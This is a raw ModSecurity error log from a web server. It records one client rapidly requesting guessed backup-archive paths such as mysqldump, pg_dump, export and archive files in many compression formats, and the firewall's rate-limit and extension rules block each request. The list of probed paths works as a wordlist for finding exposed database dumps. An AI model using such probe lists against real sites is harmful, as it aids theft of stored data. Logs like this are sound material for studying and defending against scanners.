[Fri May 15 10:05:04.746116 2026] [:error] [pid 50531:tid 50547] [client 34.97.8.90:55174] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mysqldump.tar.bz2"] [unique_id "agZ_UB3WbFwE6voqGzrkxgAAAQ4"]
[Fri May 15 10:05:05.475120 2026] [:error] [pid 50531:tid 50543] [client 34.97.8.90:39436] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mysqldump.tar.xz"] [unique_id "agZ_UR3WbFwE6voqGzrkxwAAAQo"]
[Fri May 15 10:05:06.209446 2026] [:error] [pid 1189:tid 1230] [client 34.97.8.90:39452] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mysqldump.7z"] [unique_id "agZ_Uge36qIGegR4kcmCJQAAAEU"]
[Fri May 15 10:05:06.964898 2026] [:error] [pid 51234:tid 51254] [client 34.97.8.90:39466] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mysqldump.rar"] [unique_id "agZ_Ut72N9CbeiqcqgPWnQAAAVI"]
[Fri May 15 10:05:07.621189 2026] [:error] [pid 51234:tid 51253] [client 34.97.8.90:39470] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mysqldump.gz"] [unique_id "agZ_U972N9CbeiqcqgPWngAAAVE"]
[Fri May 15 10:05:08.290148 2026] [:error] [pid 51234:tid 51243] [client 34.97.8.90:39478] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mysqldump.bz2"] [unique_id "agZ_VN72N9CbeiqcqgPWnwAAAUc"]
[Fri May 15 10:05:08.997765 2026] [:error] [pid 1189:tid 1238] [client 34.97.8.90:39490] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mysqldump.zst"] [unique_id "agZ_VAe36qIGegR4kcmCJgAAAE0"]
[Fri May 15 10:05:09.662499 2026] [:error] [pid 50531:tid 50535] [client 34.97.8.90:39504] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mysqldump.sql.gz"] [unique_id "agZ_VR3WbFwE6voqGzrkyAAAAQI"]
[Fri May 15 10:05:10.353562 2026] [:error] [pid 50531:tid 50544] [client 34.97.8.90:39516] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mysqldump.sql.bz2"] [unique_id "agZ_Vh3WbFwE6voqGzrkyQAAAQs"]
[Fri May 15 10:05:11.024766 2026] [:error] [pid 1295:tid 1302] [client 34.97.8.90:39518] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mysqldump.sql"] [unique_id "agZ_V9mMhqLvs0GYixkctgAAAMQ"]
[Fri May 15 10:05:11.702353 2026] [:error] [pid 51234:tid 51256] [client 34.97.8.90:39532] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pg_dump.zip"] [unique_id "agZ_V972N9CbeiqcqgPWoQAAAVQ"]
[Fri May 15 10:05:12.338681 2026] [:error] [pid 51234:tid 51242] [client 34.97.8.90:39548] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pg_dump.tar.gz"] [unique_id "agZ_WN72N9CbeiqcqgPWpAAAAUY"]
[Fri May 15 10:05:13.024593 2026] [:error] [pid 50531:tid 50554] [client 34.97.8.90:39554] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pg_dump.tgz"] [unique_id "agZ_WR3WbFwE6voqGzrkywAAARU"]
[Fri May 15 10:05:13.686418 2026] [:error] [pid 1295:tid 1305] [client 34.97.8.90:39560] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pg_dump.tar"] [unique_id "agZ_WdmMhqLvs0GYixkctwAAAMc"]
[Fri May 15 10:05:14.403172 2026] [:error] [pid 50531:tid 50552] [client 34.97.8.90:39562] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pg_dump.tar.bz2"] [unique_id "agZ_Wh3WbFwE6voqGzrkzQAAARM"]
[Fri May 15 10:05:15.096440 2026] [:error] [pid 51234:tid 51252] [client 34.97.8.90:58958] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pg_dump.tar.xz"] [unique_id "agZ_W972N9CbeiqcqgPWqAAAAVA"]
[Fri May 15 10:05:15.786719 2026] [:error] [pid 1295:tid 1317] [client 34.97.8.90:58972] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pg_dump.7z"] [unique_id "agZ_W9mMhqLvs0GYixkcuAAAANM"]
[Fri May 15 10:05:16.520004 2026] [:error] [pid 51234:tid 51248] [client 34.97.8.90:58976] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pg_dump.rar"] [unique_id "agZ_XN72N9CbeiqcqgPWqQAAAUw"]
[Fri May 15 10:05:17.269027 2026] [:error] [pid 51234:tid 51249] [client 34.97.8.90:58990] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pg_dump.gz"] [unique_id "agZ_Xd72N9CbeiqcqgPWqgAAAU0"]
[Fri May 15 10:05:17.964211 2026] [:error] [pid 1189:tid 1239] [client 34.97.8.90:58994] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pg_dump.bz2"] [unique_id "agZ_XQe36qIGegR4kcmCKAAAAE4"]
[Fri May 15 10:05:18.692228 2026] [:error] [pid 1189:tid 1229] [client 34.97.8.90:58996] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pg_dump.zst"] [unique_id "agZ_Xge36qIGegR4kcmCKQAAAEQ"]
[Fri May 15 10:05:19.414098 2026] [:error] [pid 1295:tid 1303] [client 34.97.8.90:59012] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pg_dump.sql.gz"] [unique_id "agZ_X9mMhqLvs0GYixkc2wAAAMU"]
[Fri May 15 10:05:20.156426 2026] [:error] [pid 50531:tid 50536] [client 34.97.8.90:59022] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pg_dump.sql.bz2"] [unique_id "agZ_YB3WbFwE6voqGzrlBwAAAQM"]
[Fri May 15 10:05:20.901549 2026] [:error] [pid 1189:tid 1229] [client 34.97.8.90:59036] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pg_dump.sql"] [unique_id "agZ_YAe36qIGegR4kcmCQAAAAEQ"]
[Fri May 15 10:05:21.674277 2026] [:error] [pid 1189:tid 1237] [client 34.97.8.90:59038] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/export.zip"] [unique_id "agZ_YQe36qIGegR4kcmCQwAAAEw"]
[Fri May 15 10:05:22.345838 2026] [:error] [pid 1190:tid 1253] [client 34.97.8.90:59052] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/export.tar.gz"] [unique_id "agZ_YtqiXrD7hne4gFbKHAAAAIE"]
[Fri May 15 10:05:23.056665 2026] [:error] [pid 1188:tid 1213] [client 34.97.8.90:59056] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/export.tgz"] [unique_id "agZ_Y9Y68iW8yuNkNzPxWAAAABA"]
[Fri May 15 10:05:23.764046 2026] [:error] [pid 1188:tid 1199] [client 34.97.8.90:59058] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/export.tar"] [unique_id "agZ_Y9Y68iW8yuNkNzPxWQAAAAI"]
[Fri May 15 10:05:24.460883 2026] [:error] [pid 1189:tid 1249] [client 34.97.8.90:59064] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/export.tar.bz2"] [unique_id "agZ_ZAe36qIGegR4kcmCRQAAAFg"]
[Fri May 15 10:05:25.180914 2026] [:error] [pid 1188:tid 1203] [client 34.97.8.90:52580] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/export.tar.xz"] [unique_id "agZ_ZdY68iW8yuNkNzPxWwAAAAY"]
[Fri May 15 10:05:25.862767 2026] [:error] [pid 1189:tid 1226] [client 34.97.8.90:52588] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/export.7z"] [unique_id "agZ_ZQe36qIGegR4kcmCSQAAAEE"]
[Fri May 15 10:05:30.792638 2026] [:error] [pid 1189:tid 1241] [client 34.97.8.90:52648] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.agraphics.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.agraphics.com.au"] [uri "/export.sql"] [unique_id "agZ_age36qIGegR4kcmCTgAAAFA"]
[Fri May 15 10:05:35.218148 2026] [:error] [pid 51234:tid 51255] [client 34.97.8.90:53824] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/exports.tar.xz"] [unique_id "agZ_b972N9CbeiqcqgPWrwAAAVM"]
[Fri May 15 10:05:35.980434 2026] [:error] [pid 1189:tid 1236] [client 34.97.8.90:53838] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/exports.7z"] [unique_id "agZ_bwe36qIGegR4kcmCVAAAAEs"]
[Fri May 15 10:05:36.753385 2026] [:error] [pid 1190:tid 1254] [client 34.97.8.90:53844] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/exports.rar"] [unique_id "agZ_cNqiXrD7hne4gFbKIQAAAII"]
[Fri May 15 10:05:37.535827 2026] [:error] [pid 1189:tid 1240] [client 34.97.8.90:53848] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/exports.gz"] [unique_id "agZ_cQe36qIGegR4kcmCVQAAAE8"]
[Fri May 15 10:05:38.273668 2026] [:error] [pid 51234:tid 51237] [client 34.97.8.90:53856] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/exports.bz2"] [unique_id "agZ_ct72N9CbeiqcqgPWsQAAAUE"]
[Fri May 15 10:05:38.969462 2026] [:error] [pid 50531:tid 50535] [client 34.97.8.90:53864] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/exports.zst"] [unique_id "agZ_ch3WbFwE6voqGzrlCwAAAQI"]
[Fri May 15 10:05:39.600164 2026] [:error] [pid 50531:tid 50544] [client 34.97.8.90:53878] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/exports.sql.gz"] [unique_id "agZ_cx3WbFwE6voqGzrlDAAAAQs"]
[Fri May 15 10:05:40.257925 2026] [:error] [pid 51234:tid 51248] [client 34.97.8.90:53884] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/exports.sql.bz2"] [unique_id "agZ_dN72N9CbeiqcqgPWswAAAUw"]
[Fri May 15 10:05:40.989359 2026] [:error] [pid 51234:tid 51249] [client 34.97.8.90:53886] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/exports.sql"] [unique_id "agZ_dN72N9CbeiqcqgPWtAAAAU0"]
[Fri May 15 10:05:41.678889 2026] [:error] [pid 1189:tid 1237] [client 34.97.8.90:53902] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archive.zip"] [unique_id "agZ_dQe36qIGegR4kcmCWgAAAEw"]
[Fri May 15 10:05:42.328498 2026] [:error] [pid 1188:tid 1212] [client 34.97.8.90:53912] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archive.tar.gz"] [unique_id "agZ_dtY68iW8yuNkNzPxYwAAAA8"]
[Fri May 15 10:05:43.050625 2026] [:error] [pid 1295:tid 1302] [client 34.97.8.90:53914] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archive.tgz"] [unique_id "agZ_d9mMhqLvs0GYixkc7QAAAMQ"]
[Fri May 15 10:05:43.797404 2026] [:error] [pid 50531:tid 50537] [client 34.97.8.90:53920] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archive.tar"] [unique_id "agZ_dx3WbFwE6voqGzrlEQAAAQQ"]
[Fri May 15 10:05:44.525141 2026] [:error] [pid 1295:tid 1299] [client 34.97.8.90:53932] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archive.tar.bz2"] [unique_id "agZ_eNmMhqLvs0GYixkc7wAAAME"]
[Fri May 15 10:05:45.269769 2026] [:error] [pid 51234:tid 51259] [client 34.97.8.90:42710] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archive.tar.xz"] [unique_id "agZ_ed72N9CbeiqcqgPWugAAAVc"]
[Fri May 15 10:05:46.015503 2026] [:error] [pid 1189:tid 1228] [client 34.97.8.90:42722] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archive.7z"] [unique_id "agZ_ege36qIGegR4kcmCYwAAAEM"]
[Fri May 15 10:05:46.675966 2026] [:error] [pid 1189:tid 1236] [client 34.97.8.90:42738] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archive.rar"] [unique_id "agZ_ege36qIGegR4kcmCZAAAAEs"]
[Fri May 15 10:05:47.362997 2026] [:error] [pid 1189:tid 1238] [client 34.97.8.90:42740] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archive.gz"] [unique_id "agZ_ewe36qIGegR4kcmCZgAAAE0"]
[Fri May 15 10:05:48.038026 2026] [:error] [pid 1295:tid 1318] [client 34.97.8.90:42754] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archive.bz2"] [unique_id "agZ_fNmMhqLvs0GYixkc9QAAANQ"]
[Fri May 15 10:05:48.723874 2026] [:error] [pid 1295:tid 1319] [client 34.97.8.90:42758] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archive.zst"] [unique_id "agZ_fNmMhqLvs0GYixkc9gAAANU"]
[Fri May 15 10:05:49.358567 2026] [:error] [pid 1295:tid 1312] [client 34.97.8.90:42774] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archive.sql.gz"] [unique_id "agZ_fdmMhqLvs0GYixkc9wAAAM4"]
[Fri May 15 10:05:50.060509 2026] [:error] [pid 1295:tid 1310] [client 34.97.8.90:42780] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archive.sql.bz2"] [unique_id "agZ_ftmMhqLvs0GYixkc-gAAAMw"]
[Fri May 15 10:05:50.778458 2026] [:error] [pid 1189:tid 1237] [client 34.97.8.90:42786] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archive.sql"] [unique_id "agZ_fge36qIGegR4kcmCaAAAAEw"]
[Fri May 15 10:05:51.449919 2026] [:error] [pid 51234:tid 51237] [client 34.97.8.90:42788] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/archives.zip"] [unique_id "agZ_f972N9CbeiqcqgPWwQAAAUE"]
